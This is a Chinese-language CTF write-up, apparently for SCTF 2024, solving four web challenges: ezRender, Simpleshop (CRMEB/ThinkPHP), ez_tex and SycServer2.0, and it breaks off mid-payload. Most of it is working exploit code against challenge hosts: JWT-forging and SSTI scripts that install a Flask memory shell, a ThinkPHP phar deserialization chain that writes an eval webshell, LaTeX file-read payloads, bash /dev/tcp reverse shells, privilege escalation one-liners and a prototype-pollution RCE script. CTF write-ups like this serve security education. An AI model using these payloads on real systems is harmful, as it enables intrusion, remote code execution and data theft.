ezRender Hint:
ulimit -n =2048
cat /etc/timezone : UTC
ulimit 特性 源码 User.py
中的写法刚开始给我看一愣,主要是 handler 和 setSecret 这两部分到底是什么意思。handler 打开/dev/random
的句柄,setSecret 获取开头的 22 个字节,然后 hex 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import timeclass User (): def __init__ (self,name,password ): self .name=name self .pwd = password self .Registertime=str (time.time())[0 :10 ] self .handle=None self .secret=self .setSecret() def handler (self ): self .handle = open ("/dev/random" , "rb" ) def setSecret (self ): secret = self .Registertime try : if self .handle == None : self .handler() secret += str (self .handle.read(22 ).hex ()) except Exception as e: print ("this file is not exist or be removed" ) return secret
ulimit 是修改启动线程所占用的资源。其中-n
指的是同一时间允许最多开启的文件数量。这里的问题是 12 行的代码 open 之后没有 close。ulimit 到达了限制的 2048 就会报错。其中 setSecret 这部分函数会在 POST 给 register 路由时实例化的时候调用。因此我们这里调用超过 2048 次获取到报错信息。
先发 2050 个包占满 fd,再创建新用户,在本地创建的 key 值和远端应该只差一点点,所以可以爆破出他的 key 值。正常来说是直接可以用这个 key 生成的 admin 登录的。
但是由于 ulimit 满了之后__builtins__
会报错,需要删除几个用户使得用户数量少于 2048 个。
RCE 的时候不出网,所以需要写入内存马。这里的 poc 是抄的我 B 神的。关注 Boogipop 谢谢喵😸。
1 __import__ ('flask' ).current_app._got_first_request=False ;__import__ ('flask' ).current_app.add_url_rule('/shell' ,'shell' ,lambda :__import__ ('os' ).popen(__import__ ('flask' ).request.args.get('cmd' ,'/readflag' )).read())
1 {{'' .__class__.__bases__.__getitem__(0 ).__subclasses__().__getitem__(80 ).__init__.__globals__.__getitem__("__builtins__" ).__getitem__("ex" +"ec" )("import base64;ex" +"ec(base64.b64decode(b'X19pbXBvcnRfXygnZmxhc2snKS5jdXJyZW50X2FwcC5fZ290X2ZpcnN0X3JlcXVlc3Q9RmFsc2U7X19pbXBvcnRfXygnZmxhc2snKS5jdXJyZW50X2FwcC5hZGRfdXJsX3J1bGUoJy9zaGVsbCcsJ3NoZWxsJyxsYW1iZGE6X19pbXBvcnRfXygnb3MnKS5wb3BlbihfX2ltcG9ydF9fKCdmbGFzaycpLnJlcXVlc3QuYXJncy5nZXQoJ2NtZCcsJy9yZWFkZmxhZycpKS5yZWFkKCkp').decode())" )}}
或者这是其他的 poc:
1 "(g.pop.__globals__.__builtins__.__getitem__('e''xec'))(" import base64;ex"+" ec (base64.b64decode ('X19pbXBvcnRfXygnc3lzJykubW9kdWxlc1snX19tYWluX18nXS5fX2RpY3RfX1snYXBwJ10uYmVmb3JlX3JlcXVlc3RfZnVuY3Muc2V0ZGVmYXVsdChOb25lLFtdKS5hcHBlbmQobGFtYmRhIDpfX2ltcG9ydF9fKCdvcycpLnBvcGVuKCcvcmVhZGZsYWcnKS5yZWFkKCkp' ));")"
Mypoc 看了好几份 wp 里面的 poc 都没从头到尾打通,所以照着写了个完整 poc,直接就可以一把嗦,实在没看懂前面的解释看这个应该就能懂了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 """ @Project : _media_file_task_495aa9d7-4d63-4f4d-9b17-7a241a9173d5 @File : exp_myself @desc : @Author : @Natro92 @Date : 2024/10/2 下午3:58 @Blog : https://natro92.fun @Contact : natro92@natro92.fun """ import base64import jsonimport timefrom concurrent.futures import ThreadPoolExecutorimport jwtimport requeststar_url = "1.95.40.5:30501" tar_reg_url = 'http://' + tar_url + '/register' tar_login_url = 'http://' + tar_url + '/login' tar_remove_url = 'http://' + tar_url + '/removeUser' tar_admin_url = 'http://' + tar_url + '/admin' tar_shell_url = 'http://' + tar_url + '/shell' def make_register_request (i ): res = requests.post(tar_reg_url, json={"username" : "admin" + str (i), "password" : "123456" }) print (str (i) + " " + res.text) assert "Successfully Removed:" + "admin" + str (i) in res.text, res.text return res def make_remove_request (i ): res = rs.post(tar_remove_url, data={'username' : "admin" + str (i)}, cookies={'Token' : token}) return res with ThreadPoolExecutor(max_workers=10 ) as executor: for i in range (2051 ): executor.submit(make_register_request, i) print ("[*] 超过2048占满fd获取目标jwt" )key = str (time.time())[0 :10 ] res = requests.post(tar_reg_url, json={"username" : "natro92" , "password" : "123456" }) token = \ requests.post(tar_login_url, json={"username" : "natro92" , "password" : "123456" }).headers['Set-Cookie' ].split( 'Token=' )[ 1 ] jwtData = (json.loads(base64.b64decode(token))["secret" ]) print (jwtData)for i in range (int (key) - 2000 , int (key) + 2000 ): try : print (jwt.decode(jwtData, str (i), algorithms='HS256' )) key = str (i) except : pass print ("[*] 爆破出目标key:" + key)secret = {'name' : 'natro92' , 'is_admin' : '1' } verify_c = jwt.encode(secret, key, algorithm='HS256' ) infor = {'name' : 'natro92' , 'secret' : verify_c} token = base64.b64encode(json.dumps(infor).encode()).decode() print ("[*] admin用户token:" + token)rs = requests.Session() res = rs.get(tar_admin_url, cookies={'Token' : token}) if "Welcome to admin page!! natro92" in res.text: print ("[*] 检测是正常admin用户" ) else : print ("[*] 检测失败" ) assert "Wrong user" with ThreadPoolExecutor(max_workers=10 ) as executor: for i in range (900 , 1000 ): executor.submit(make_remove_request, i) print ("[*] 删除用户使数量少于2048" )shellcode = ''' __import__('flask').current_app._got_first_request=False;__import__('flask').current_app.add_url_rule('/shell','shell',lambda:__import__('os').popen(__import__('flask').request.args.get('cmd','/readflag')).read()) ''' .strip()shell_base = base64.b64encode(shellcode.encode()).decode() for i in range (80 , 81 ): code = ''' {{''.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(DATA).__init__.__globals__.__getitem__("__builtins__").__getitem__("ex"+"ec")("import base64;ex"+"ec(base64.b64decode(b'XXX').decode())")}} ''' .strip() code = code.replace("DATA" , str (i)) code = code.replace("XXX" , shell_base) resp = rs.post(tar_admin_url, data={"code" : code}, cookies={'Token' : token}) if resp.status_code != 500 : print (i, resp.text) print ('[!] 噫,道爷我成了' ) resp = rs.get(tar_shell_url, params={'cmd' : '/readflag' }, cookies={'Token' : token}) print (resp.text) break
Simpleshop Recently, my e-commerce site has been illegally invaded, hackers through a number of means to achieve the purchase of zero actually free of charge to buy a brand new Apple / Apple iPad, you can help me to find out where the problem is?
http://1.95.73.253
http://1.95.46.1
hint1: the ultimate goal is to enable rce to read the contents of the /flag file.
hint2: the foreground user can achieve rce and background has nothing to do, so it is pointless to break the background password.
hint3: source code on github/gitee latest version you can try to audit it
https://gitee.com/ZhongBangKeJi/CRMEB
https://github.com/crmeb/CRMEB
根据源码能注意到是基于 thinkphp 开发的。
有文件上传点位于crmeb/app/adminapi/controller/PublicController.php
下,以及\app\api\controller\v1\PublicController::get_image_base64
下。
传参 image 和 code 两个参数,获取 url 然后检查格式,如果有缓存就使用缓存,否则就从远程下载,再转成 base64。
put_image 保存图片,会检测后缀名,然后又将远程图片下载下来。
然后通过 readfile 函数来解析获取的图片。这里可以触发 phar 的解析。
因此可以通过构造一个图片马,再通过 phar 解析了。
反序列化分析 crmeb 最新版本是基于 thinkphp6 开发的, 这里就通过 tp6 的反序列化链来打。全局搜索入口方法__construct
和__destruct
方法,这里不懂为什么 phpstorm 会自动将 vendor 下面的内容作为 exclude 文件夹,搜索的时候就不会自动索引,而 vscode 可以正常搜索。
而这种就是被 exclude 了的文件夹。需要取消排除才能正常被搜索。
位于vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Collection/Cells.php
的\PhpOffice\PhpSpreadsheet\Collection\Cells::__construct
这个所在的 PhpSpreadsheet 库经常被用来处理 Excel 文件。这里主要用的就是这个 cache 参数。
其中调用的__destruct
函数调用 cache 的子方法。
然后就是位于vendor/topthink/framework/src/think/log/Channel.php
下的\think\log\Channel::__call
方法,到 log 再到 record 方法。
主要就是最后一部分的对 lazy 的判断,这里只需要将 this->lazy 赋值个 false 就能调用到 save 方法。
然后通过后面的后半部分的 logger 的 save 方法
然后调用位于vendor/topthink/framework/src/think/log/driver/Socket.php
的\think\log\driver\Socket::save
方法。
首先是 check 方法,保证不能退出,继续下去。this->check 返回的是 true。一个是嵌套里面可以得到,另一个是走到 else。
按照要求首先需要 tabid 或者 force_client_id 不为空二者满足其一即可,后者比较容易满足。然后就是判断allowClientIds
是否为空,如果为空,就可以走到后半部分得到 true。
然后回到刚才的 save 方法。我们可以通过为子对象的 instance 添加 request 参数使得将 currentUri 赋值 $this->app->request->url(true)。然后再通过判断 config 下的 format_head 的非空进入到 invoke。
从这个 invoke 就可以调用,这个 invoke 在 Container 中有定义\think\Container::invoke
,而且这个 Container 被 App 所继承。将传入的对象和方法给 invokeFunction 了。
invokeFunction 的意义就很明确了,执行函数。
正好可以整合掉上面的要求,将 instances 的参数添加一个 request 的键值对。但是目前为止,我们还没有利用点,我们回到刚才的 Request 的位置,发现里面有 url 方法。注意前面给 complete 传值为 true 了。
url 先不着急确定。调用下面的 domain 方法进去看看。
scheme 方法是判断是否是 http 和 host 方法确定 host,这里就不多解释了。
然后返回到刚才的 invoke 的位置,但这现在还是没法执行或者写入,之前我们只看了这个 invoke 方法,但是没有注意这个 display,我们可以在 vendor/topthink/framework/src/think/view/driver/Php.php
看到 \think\view\driver\Php::display
方法。之前调用的就是这个方法,将 url 作为参数调用。这里看到了命令调用,就是先闭合,然后再执行。
这里面前半部分的闭合不会影响后半部分。
因此我们可以尝试写入个马进去。
文件上传 根据app/route
下的路由文件可以知道可以从api/upload/image
这个路由上传
对应的:
其中标红的部分会对文件进行检测。
很容易就能找到 upload 的 config 的所在位置:config/upload.php
后面一想,这也不知道对面改成了什么。也没啥用。按照上面的逻辑写下 PoC 先:
PoC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 <?php namespace PhpOffice \PhpSpreadsheet \Collection { class Cells { private $cache ; public function __construct ($evil ) { $this ->cache = $evil ; } } } namespace think \log { class Channel { protected $logger ; protected $lazy = false ; public function __construct ($evil ) { $this ->logger = $evil ; } } } namespace think \log \driver { class Socket { protected $app ; protected $config ; public function __construct ( ) { $this ->config = [ 'debug' => true , 'force_client_ids' => 'Not Null' , 'allow_client_ids' => [], 'format_head' => [new \think\view\driver\Php (), 'display' ], ]; $this ->app = new \think\App (); } } } namespace think { class App { protected $instances = []; public function __construct ( ) { $this ->instances = [ 'think\Request' => new Request (), ]; } } class Request { protected $url ; public function __construct ( ) { $this ->url = '<?php file_put_contents("/var/www/public/uploads/store/comment/20241003/natro92.php"),\'<?php eval($_POST[1]); ?>\', FILE_APPEND); ?>' ; } } } namespace think \view \driver { class Php { } } namespace { $c = new think \log \driver \Socket (); $b = new think\log\Channel ($c ); $a = new PhpOffice\PhpSpreadsheet\Collection\Cells ($b ); var_dump ($a ); ini_set ('phar.readonly' , 0 ); $phar = new Phar ('poc.phar' ); $phar ->startBuffering (); $phar ->setStub ("GIF89a<?php __HALT_COMPILER(); ?>" ); $phar ->setMetadata ($a ); $phar ->addFromString ('natro92.jpg' , 'eviltest' ); $phar ->stopBuffering (); }
运行之后就能得到 poc.phar 但是上传时能发现需要账号,牛魔后面才发现 robots.txt 里面有一个 html 提供了注册页面/A_letter_to_ctfer.html
12345612312:admin123
而且登上之后也不能用 phar 后缀上传先将后缀改成 natro92.jpg
,再用 gzip 压一圈即可。
然后再 natro92.jpg.gz 改成 natro92.jpg 上传。
然后触发,触发时注意双写绕过:
蚁剑成功连接,但是遇到 disable_function。
CNext GitHub - ambionics/cnext-exploits: Exploits for CNEXT (CVE-2024-2961), a buffer overflow in the glibc’s iconv()
在test1232.php
中写入:
1 2 3 4 <?php @mkdir ('img' );chdir ('img' );ini_set ('open_basedir' ,'..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );ini_set ('open_basedir' ,'/' ); $data = file_get_contents ($_POST ['file' ]);echo "File contents: $data " ;
反弹 shell:
1 bash -c "bash -i >& /dev/tcp/xxx/7777 0>&1"
这个我搁 ps 和 cmd 都没成功,后面用 wsl 成功了。
然后就是 suid 提权,grep 读 flag。
1 find / -perm -u =s -type f 2 >/dev/null
PHP-FPM 提权那里也可以直接用 PHP-FPM 来绕过。
但是这里有一个坑,你必须在根目录的 shell,也就是在 public 的 shell 执行一次这个,否则我这个图里执行的这个.antproxy.php 就回去找 public 目录的 shell。
PS 这个复现之后再打的时候就又打不通了,可能是我这 poc 哪里有问题,实际上我用网上的几个 poc 也没通,不清楚为什么。
除了这个链子,还有一个
1 require __DIR__ . '/vendor/autoload.php' ;use GuzzleHttp \Cookie \FileCookieJar ;use GuzzleHttp \Cookie \SetCookie ;$obj = new FileCookieJar ('public/shell.php' );$payload = '<?php eval(filter_input(INPUT_POST,a)); ?>' ;$obj ->setCookie (new SetCookie ([ 'Name' => 'foo' ,"Value" =>"1" , 'Domain' => $payload , "a" => 'bar' , 'Expires' => time ()]));$phar = new \Phar ("1.phar" );$phar ->startBuffering ();$phar ->setStub ('GIF89a' ."__HALT_COMPILER();" );$phar ->setMetadata ($obj );$phar ->addFromString ("test.txt" , "test" );$phar ->stopBuffering ();?>
似乎这个 FIleCookieJar 是打 phar 的老客户了。哪天找时间看看捏。
ez_tex PayloadsAllTheThings/LaTeX Injection/README.md at master · swisskyrepo/PayloadsAllTheThings
读文件 SSTI 这 latex 老在国外的 ctf 里面看见,然而没怎么用过捏。
允许上传 tex,编译,编译的文件名有限制。编译结果只有成功或者失败,没有文件。
提示了 log 页面,访问发现:
将读取的文件写入到这个 app.log 中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 \documentclass []{article}\begin {document}\newread \infile \openin \infile =main.py\imm ^^65diate\newwrite \outfile \imm ^^65diate\openout \outfile =a^^70p.log\loop \unless \ifeof \infile \imm ^^65diate\read \infile to\line \imm ^^65diate\write \outfile {\line } \repeat \closeout \outfile \closein \infile \newpage 123 \end {document}
但是不让啊传,所以需要 bypass 下。
将读出结果稍微格式化下
读出 main.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 import osimport loggingimport subprocessfrom flask import Flask, request, render_template, redirectfrom werkzeug.utils import secure_filenameapp = Flask(__name__) if not app.debug: handler = logging.FileHandler('app.log' ) handler.setLevel(logging.INFO) app.logger.addHandler(handler) UPLOAD_FOLDER = 'uploads' app.config['UPLOAD_FOLDER' ] = UPLOAD_FOLDER os.makedirs(UPLOAD_FOLDER, exist_ok=True ) ALLOWED_EXTENSIONS = {'txt' , 'png' , 'jpg' , 'gif' , 'log' , 'tex' } def allowed_file (filename ): return '.' in filename and filename.rsplit('.' , 1 )[1 ].lower() in ALLOWED_EXTENSIONS def compile_tex (file_path ): output_filename = file_path.rsplit('.' , 1 )[0 ] + '.pdf' try : subprocess.check_call(['pdflatex' , file_path]) return output_filename except subprocess.CalledProcessError as e: return str (e) @app.route('/' ) def index (): return render_template('index.html' ) @app.route('/upload' , methods=['POST' ] ) def upload_file (): if 'file' not in request.files: return redirect(request.url) file = request.files['file' ] if file.filename == '' : return redirect(request.url) if file and allowed_file(file.filename): content = file.read() try : content_str = content.decode('utf-8' ) except UnicodeDecodeError: return 'File content is not decodable' for bad_char in ['\\x' , '..' , '*' , '/' , 'input' , 'include' , 'write18' , 'immediate' , 'app' , 'flag' ]: if bad_char in content_str: return 'File content is not safe' file.seek(0 ) filename = secure_filename(file.filename) file_path = os.path.join(app.config['UPLOAD_FOLDER' ], filename) file.save(file_path) return 'File uploaded successfully, And you can compile the tex file' else : return 'Invalid file type or name' @app.route('/compile' , methods=['GET' ] ) def compile (): filename = request.args.get('filename' ) if not filename: return 'No filename provided' , 400 if len (filename) >= 7 : return 'Invalid file name length' , 400 if not filename.endswith('.tex' ): return 'Invalid file type' , 400 file_path = os.path.join(app.config['UPLOAD_FOLDER' ], filename) print (file_path) if not os.path.isfile(file_path): return 'File not found' , 404 output_pdf = compile_tex(file_path) if output_pdf.endswith('.pdf' ): return "Compilation succeeded" else : return 'Compilation failed' , 500 @app.route('/log' ) def log (): try : with open ('app.log' , 'r' ) as log_file: log_contents = log_file.read() return render_template('log.html' , log_contents=log_contents) except FileNotFoundError: return 'Log file not found' , 404 if __name__ == '__main__' : app.run(host='0.0.0.0' , port=3000 , debug=False )
能注意到 log.html 可能有 SSTI。读下看看。
果然有,那么就直接在这个文件里面写入反弹 shell 就行了。
1 2 3 4 5 6 7 8 9 \documentclass []{article}\begin {document}\newwrite \t \openout \t =templates^^2flog.html\write \t {{{lipsum._ _ globals_ _ ['os'].popen('bash -c "^^2fbin^^2fbash -i >& ^^2fdev^^2ftcp^^2fip^^2f7777 0>& 1"').read()}}}\newpage 123 \end {document}
得在第一次访问 log 前写入。
但是根目录的 flag 输出的是 env
1 HOSTNAME=9711508053a5PYTHON_VERSION=3.7.17PWD=/tmpPYTHON_SETUPTOOLS_VERSION=57.5.0HOME=/rootLANG=C.UTF-8GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DTERM=xtermSHLVL=1PYTHON_PIP_VERSION=23.0.1PYTHON_GET_PIP_SHA256=45a2bb8bf2bb5eff16fdd00faef6f29731831c7c59bd9fc2bf1f3bed511ff1fePYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/9af82b715db434abb94a0a6f3569f43e72157346/public/get-pip.pyPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/home/jerrywww:/home/wwwOLDPWD=/app/ez_tex_=/usr/bin/cat
python 具有 root 的权限。
拿下全交互 shell,其实可以直接 vshell 的。
1 2 3 4 5 6 7 echo $TERM Ctrl+Z stty raw -echo fg reset tmux-256color python -c 'import pty;pty.spawn("/bin/bash")'
Capabilities 提权 Linux提权之:利用capabilities提权 - f_carey - 博客园 (cnblogs.com)
1 python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
注意这里面不应该用 python3,因为 python3 不具备这个权限,而 python3.11 可以。
设置当前进程的用户 id。
PS 原来可以通过/flag 得到 jerrywww 的用户名。爆破到 jerrywww 的密码。O.o
jerrywww:P@ssw0rd
SycServer2.0 扫下
得到 api:
1 1.95.87.154:23473/ExP0rtApi?v=static& f=1.jpeg
需要先拿到 token。JSEncrypt 前端 waf, 在登录的 js 把 waf 去掉然后用万能密码登录。
将 wafsql 改成空。
1 2 3 4 wafsql = function (str ) { console .log (str); return str; }
然后用万能密码登录下:
admin:1'or'1'='1
再回刚才的 api 利用。读取下 app.js/ExP0rtApi?v=.&f=app.js
cyberchef 解密。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 const express = require ('express' );const fs = require ('fs' );var nodeRsa = require ('node-rsa' );const bodyParser = require ('body-parser' );const jwt = require ('jsonwebtoken' );const crypto = require ('crypto' );const SECRET_KEY = crypto.randomBytes (16 ).toString ('hex' );const path = require ('path' );const zlib = require ('zlib' );const mysql = require ('mysql' )const handle = require ('./handle' );const cp = require ('child_process' );const cookieParser = require ('cookie-parser' );const con = mysql.createConnection ({ host : 'localhost' , user : 'ctf' , password : 'ctf123123' , port : '3306' , database : 'sctf' }) con.connect ((err ) => { if (err) { console .error ('Error connecting to MySQL:' , err.message ); setTimeout (con.connect (), 2000 ); } else { console .log ('Connected to MySQL' ); } }); const {response} = require ("express" );const req = require ("express/lib/request" );var key = new nodeRsa ({ b : 1024 });key.setOptions ({ encryptionScheme : 'pkcs1' }); var publicPem = `-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5nJzSXtjxAB2tuz5WD9B//vLQ\nTfCUTc+AOwpNdBsOyoRcupuBmh8XSVnm5R4EXWS6crL5K3LZe5vO5YvmisqAq2IC\nXmWF4LwUIUfk4/2cQLNl+A0czlskBZvjQczOKXB+yvP4xMDXuc1hIujnqFlwOpGe\nI+Atul1rSE0APhHoPwIDAQAB\n-----END PUBLIC KEY-----` ;var privatePem = `-----BEGIN PRIVATE KEY----- MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBALmcnNJe2PEAHa27 PlYP0H/+8tBN8JRNz4A7Ck10Gw7KhFy6m4GaHxdJWeblHgRdZLpysvkrctl7m87l i+aKyoCrYgJeZYXgvBQhR+Tj/ZxAs2X4DRzOWyQFm+NBzM4pcH7K8/jEwNe5zWEi 6OeoWXA6kZ4j4C26XWtITQA+Eeg/AgMBAAECgYA+eBhLsUJgckKK2y8StgXdXkgI lYK31yxUIwrHoKEOrFg6AVAfIWj/ZF+Ol2Qv4eLp4Xqc4+OmkLSSwK0CLYoTiZFY Jal64w9KFiPUo1S2E9abggQ4omohGDhXzXfY+H8HO4ZRr0TL4GG+Q2SphkNIDk61 khWQdvN1bL13YVOugQJBAP77jr5Y8oUkIsQG+eEPoaykhe0PPO408GFm56sVS8aT 6sk6I63Byk/DOp1MEBFlDGIUWPjbjzwgYouYTbwLwv8CQQC6WjLfpPLBWAZ4nE78 dfoDzqFcmUN8KevjJI9B/rV2I8M/4f/UOD8cPEg8kzur7fHga04YfipaxT3Am1kG mhrBAkEA90J56ZvXkcS48d7R8a122jOwq3FbZKNxdwKTJRRBpw9JXllCv/xsc2ye KmrYKgYTPAj/PlOrUmMVLMlEmFXPgQJBAK4V6yaf6iOSfuEXbHZOJBSAaJ+fkbqh UvqrwaSuNIi72f+IubxgGxzed8EW7gysSWQT+i3JVvna/tg6h40yU0ECQQCe7l8l zIdwm/xUWl1jLyYgogexnj3exMfQISW5442erOtJK8MFuUJNHFMsJWgMKOup+pOg xu/vfQ0A1jHRNC7t -----END PRIVATE KEY-----` ;const app = express ();app.use (bodyParser.json ()); app.use (express.urlencoded ({ extended : true })); app.use (express.static (path.join (__dirname, 'static' ))); app.use (cookieParser ()); var Reportcache = {}function verifyAdmin (req, res, next ) { const token = req.cookies ['auth_token' ]; if (!token) { return res.status (403 ).json ({ message : 'No token provided' }); } jwt.verify (token, SECRET_KEY , (err, decoded ) => { if (err) { return res.status (403 ).json ({ message : 'Failed to authenticate token' }); } if (decoded.role !== 'admin' ) { return res.status (403 ).json ({ message : 'Access denied. Admins only.' }); } req.user = decoded; next (); }); } app.get ('/hello' , verifyAdmin ,(req, res )=> { res.send ('<h1>Welcome Admin!!!</h1><br><img src="./1.jpeg" />' ); }); app.get ('/config' , (req, res ) => { res.json ({ publicKey : publicPem, }); }); var decrypt = function (body ) { try { var pem = privatePem; var key = new nodeRsa (pem, { encryptionScheme : 'pkcs1' , b : 1024 }); key.setOptions ({ environment : "browser" }); return key.decrypt (body, 'utf8' ); } catch (e) { console .error ("decrypt error" , e); return false ; } }; app.post ('/login' , (req, res ) => { const encryptedPassword = req.body .password ; const username = req.body .username ; try { passwd = decrypt (encryptedPassword) if (username === 'admin' ) { const sql = `select (select password from user where username = 'admin') = '${passwd} ';` con.query (sql, (err, rows ) => { if (err) throw new Error (err.message ); if (rows[0 ][Object .keys (rows[0 ])]) { const token = jwt.sign ({username, role : username}, SECRET_KEY , {expiresIn : '1h' }); res.cookie ('auth_token' , token, {secure : false }); res.status (200 ).json ({success : true , message : 'Login Successfully' }); } else { res.status (200 ).json ({success : false , message : 'Errow Password!' }); } }); } else { res.status (403 ).json ({success : false , message : 'This Website Only Open for admin' }); } } catch (error) { res.status (500 ).json ({ success : false , message : 'Error decrypting password!' }); } }); app.get ('/ExP0rtApi' , verifyAdmin, (req, res ) => { var rootpath = req.query .v ; var file = req.query .f ; file = file.replace (/\.\.\//g , '' ); rootpath = rootpath.replace (/\.\.\//g , '' ); if (rootpath === '' ){ if (file === '' ){ return res.status (500 ).send ('try to find parameters HaHa' ); } else { rootpath = "static" } } const filePath = path.join (__dirname, rootpath + "/" + file); if (!fs.existsSync (filePath)) { return res.status (404 ).send ('File not found' ); } fs.readFile (filePath, (err, fileData ) => { if (err) { console .error ('Error reading file:' , err); return res.status (500 ).send ('Error reading file' ); } zlib.gzip (fileData, (err, compressedData ) => { if (err) { console .error ('Error compressing file:' , err); return res.status (500 ).send ('Error compressing file' ); } const base64Data = compressedData.toString ('base64' ); res.send (base64Data); }); }); }); app.get ("/report" , verifyAdmin ,(req, res ) => { res.sendFile (__dirname + "/static/report_noway_dirsearch.html" ); }); app.post ("/report" , verifyAdmin ,(req, res ) => { const {user, date, reportmessage} = req.body ; if (Reportcache [user] === undefined ) { Reportcache [user] = {}; } Reportcache [user][date] = reportmessage res.status (200 ).send ("<script>alert('Report Success');window.location.href='/report'</script>" ); }); app.get ('/countreport' , (req, res ) => { let count = 0 ; for (const user in Reportcache ) { count += Object .keys (Reportcache [user]).length ; } res.json ({ count }); }); app.get ("/VanZY_s_T3st" , (req, res ) => { var command = 'whoami' ; const cmd = cp.spawn (command ,[]); cmd.stdout .on ('data' , (data ) => { res.status (200 ).end (data.toString ()); }); }) app.listen (3000 , () => { console .log ('Server running on http://localhost:3000' ); });
1 2 3 4 5 6 7 8 9 10 11 12 13 { "dependencies" : { "body-parser" : "^1.20.3" , "cookie-parser" : "^1.4.6" , "crypto" : "^1.0.1" , "express" : "^4.21.0" , "jsonwebtoken" : "^9.0.2" , "mysql" : "^2.18.1" , "node-rsa" : "^1.1.1" , "path" : "^0.12.7" , "require-in-the-middle" : "^7.4.0" } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 var ritm = require ('require-in-the-middle' );var patchChildProcess = require ('./child_process' );new ritm.Hook ( ['child_process' ], function (module , name ) { switch (name) { case 'child_process' : { return patchChildProcess (module ); } } } );
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 function patchChildProcess (cp ) { cp.execFile = new Proxy (cp.execFile , { apply : patchOptions (true ) }); cp.fork = new Proxy (cp.fork , { apply : patchOptions (true ) }); cp.spawn = new Proxy (cp.spawn , { apply : patchOptions (true ) }); cp.execFileSync = new Proxy (cp.execFileSync , { apply : patchOptions (true ) }); cp.execSync = new Proxy (cp.execSync , { apply : patchOptions () }); cp.spawnSync = new Proxy (cp.spawnSync , { apply : patchOptions (true ) }); return cp; } function patchOptions (hasArgs ) { return function apply (target, thisArg, args ) { var pos = 1 ; if (pos === args.length ) { args[pos] = prototypelessSpawnOpts (); } else if (pos < args.length ) { if (hasArgs && (Array .isArray (args[pos]) || args[pos] == null )) { pos++; } if (typeof args[pos] === 'object' && args[pos] !== null ) { args[pos] = prototypelessSpawnOpts (args[pos]); } else if (args[pos] == null ) { args[pos] = prototypelessSpawnOpts (); } else if (typeof args[pos] === 'function' ) { args.splice (pos, 0 , prototypelessSpawnOpts ()); } } return target.apply (thisArg, args); }; } function prototypelessSpawnOpts (obj ) { var prototypelessObj = Object .assign (Object .create (null ), obj); prototypelessObj.env = Object .assign (Object .create (null ), prototypelessObj.env || process.env ); return prototypelessObj; } module .exports = patchChildProcess;
env 利用 Abusing Environment Variables
网鼎杯2023线下半决赛突破题Errormsg复现 - VanZY’s Blog
通过污染 env 和 shell 环境变量来进行 rce。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import requestsurl = "1.95.87.154:30497" login_url = "http://" + url + "/login" add_report_url = "http://" + url + "/report" shell_url = "http://" + url + "/VanZY_s_T3st" rs = requests.session() def login (): login_json = { "username" : "admin" , "password" : "TL4gor2C+zygSaheIgd0R5Z0F9VKIS6tw0MTW7d+4L8Qv6uYMhxhgmnJdxldA9BiGZ5iTMaQm0dO31rW/lPA6zSRrnmqpFYXY0BQfk6ldK6zZyfdWlYYJYp8UekyldBX1NHSbg2MKJe6/JRKnSLLztZeb3M+4kDR/jp6gLXt4d8=" , } resp = rs.post(login_url, json=login_json) print (resp.headers['Set-Cookie' ]) def add_report (jsonp ): resp = rs.post(add_report_url, json=jsonp) def get_shell (): resp = rs.get(shell_url) payload = { "user" : "__proto__" , "date" : "2" , "reportmessage" : { "shell" : "/proc/self/exe" , "argv0" : 